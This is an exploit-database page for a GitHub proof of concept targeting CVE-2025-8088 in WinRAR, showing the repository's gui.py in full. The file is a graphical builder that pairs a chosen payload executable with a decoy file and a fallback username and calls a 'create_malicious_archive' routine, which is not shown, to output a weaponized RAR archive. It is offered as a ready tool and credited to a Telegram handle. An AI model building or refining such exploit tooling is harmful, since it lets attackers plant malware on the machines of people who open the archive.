Exploit database

GH-badc435611c69003996ae26d198ff6d3

undefined-name12/cve-2025-8088-winrar

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
undefined-name12/cve-2025-8088-winrarRevision 384ba83763a9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gui.py

Python · 5,922 bytes
import tkinter as tk
from tkinter import filedialog, messagebox
import customtkinter as ctk
import os
from datetime import datetime
import traceback

from exploit_core import WinRARExploit

class ExploitGUI:
    def __init__(self):
        self.root = ctk.CTk()
        self.root.title("CVE-2025-8088 WinRAR Exploit")
        self.root.geometry("400x430")
        self.root.minsize(400, 430)
        
        self.exploit = WinRARExploit()
        
        self.setup_variables()
        self.setup_ui()
        
    def setup_variables(self):
        self.payload_path_var = tk.StringVar()
        self.decoy_path_var = tk.StringVar()
        self.output_name_var = tk.StringVar()
        self.username_var= tk.StringVar(value="Administrator")
        
    def setup_ui(self):
        ctk.CTkLabel(self.root, text="Made by @tcixt on Telegram", font=("Arial", 16, "bold")).pack(pady=10)
        
        payload_frame = ctk.CTkFrame(self.root)
        payload_frame.pack(fill="x", padx=20, pady=10)
        
        ctk.CTkLabel(payload_frame, text="Payload File:", font=("Arial", 14, "bold")).pack(anchor="w", padx=10, pady=5)
        
        payload_select_frame = ctk.CTkFrame(payload_frame)
        payload_select_frame.pack(fill="x", padx=10, pady=5)
        
        ctk.CTkEntry(payload_select_frame, textvariable=self.payload_path_var, placeholder_text="Select payload file (.exe, .bat, etc.)").pack(side="left", fill="x", expand=True, padx=(0, 5))
        ctk.CTkButton(payload_select_frame, text="Browse", command=self.browse_payload, width=80).pack(side="right")
        
        decoy_frame = ctk.CTkFrame(self.root)
        decoy_frame.pack(fill="x", padx=20, pady=10)
        
        ctk.CTkLabel(decoy_frame, text="Decoy File:", font=("Arial", 14, "bold")).pack(anchor="w", padx=10, pady=5)
        
        decoy_select_frame = ctk.CTkFrame(decoy_frame)
        decoy_select_frame.pack(fill="x", padx=10, pady=5)
        
        ctk.CTkEntry(decoy_select_frame, textvariable=self.decoy_path_var, placeholder_text="Select decoy file (will create default if empty)").pack(side="left", fill="x", expand=True, padx=(0, 5))
        ctk.CTkButton(decoy_select_frame, text="Browse", command=self.browse_decoy, width=80).pack(side="right")
        
        fallback_username_frame = ctk.CTkFrame(self.root)
        fallback_username_frame.pack(fill="x", padx=20, pady=10)
        ctk.CTkLabel(fallback_username_frame, text="Fallback UserName:", font=("Arial", 14, "bold")).pack(anchor="w", padx=10, pady=5)
        ctk.CTkEntry(fallback_username_frame, textvariable=self.username_var, placeholder_text="Enter a fallback user name (Optional)").pack(side="left", fill="x", expand=True, padx=10, pady=5)



        output_frame = ctk.CTkFrame(self.root)
        output_frame.pack(fill="x", padx=20, pady=10)
        
        ctk.CTkLabel(output_frame, text="Output Archive Name:", font=("Arial", 14, "bold")).pack(anchor="w", padx=10, pady=5)
        
        output_select_frame = ctk.CTkFrame(output_frame)
        output_select_frame.pack(fill="x", padx=10, pady=5)
        
        ctk.CTkEntry(output_select_frame, textvariable=self.output_name_var, placeholder_text="Enter archive name").pack(side="left", fill="x", expand=True, padx=(0, 5))
        ctk.CTkButton(output_select_frame, text="Build", command=self.create_exploit, width=80).pack(side="right")
        
    def browse_payload(self):
        file_path = filedialog.askopenfilename(
            title="Select Payload File",
            filetypes=[("Executable files", "*.exe"), ("Batch files", "*.bat"), ("All files", "*.*")]
        )
        if file_path:
            self.payload_path_var.set(file_path)
    
    def browse_decoy(self):
        file_path = filedialog.askopenfilename(
            title="Select Decoy File",
            filetypes=[("Text files", "*.txt"), ("All files", "*.*")]
        )
        if file_path:
            self.decoy_path_var.set(file_path)
    
    def create_exploit(self):
        try:
            if not self.payload_path_var.get().strip():
                messagebox.showerror("Error", "Please select a payload file")
                return
            
            if not self.output_name_var.get().strip():
                messagebox.showerror("Error", "Please enter an output archive name")
                return
            
            output_dir = "output"
            if not os.path.exists(output_dir):
                os.makedirs(output_dir)
            
            output_name = self.output_name_var.get().strip()
            if not output_name.endswith('.rar'):
                output_name += '.rar'
            output_path = os.path.join(output_dir, output_name)
            
            success = self.exploit.create_malicious_archive(
                self.payload_path_var.get().strip(),
                output_path,
                self.decoy_path_var.get().strip() if self.decoy_path_var.get().strip() else None,
                self.username_var.get().strip()
            )
            
            if success:
                messagebox.showinfo("Success", f"Exploit archive created successfully!\nSaved to: {output_path}")
            else:
                messagebox.showerror("Error", "Failed to create exploit archive")
                
        except Exception as e:
            self.create_crash_log(e)
            messagebox.showerror("Error", f"An error occurred. Check crash_log.txt for details.\nError: {str(e)}")
    
    def create_crash_log(self, error):
        import traceback
        import datetime
        
        with open("crash_log.txt", "w") as f:
            f.write(f"Crash occurred at: {datetime.datetime.now()}\n")
            f.write(f"Error: {str(error)}\n")
            f.write("Traceback:\n")
            f.write(traceback.format_exc())
    
    def run(self):
        self.root.mainloop()

if __name__ == "__main__":
    app = ExploitGUI()
    app.run()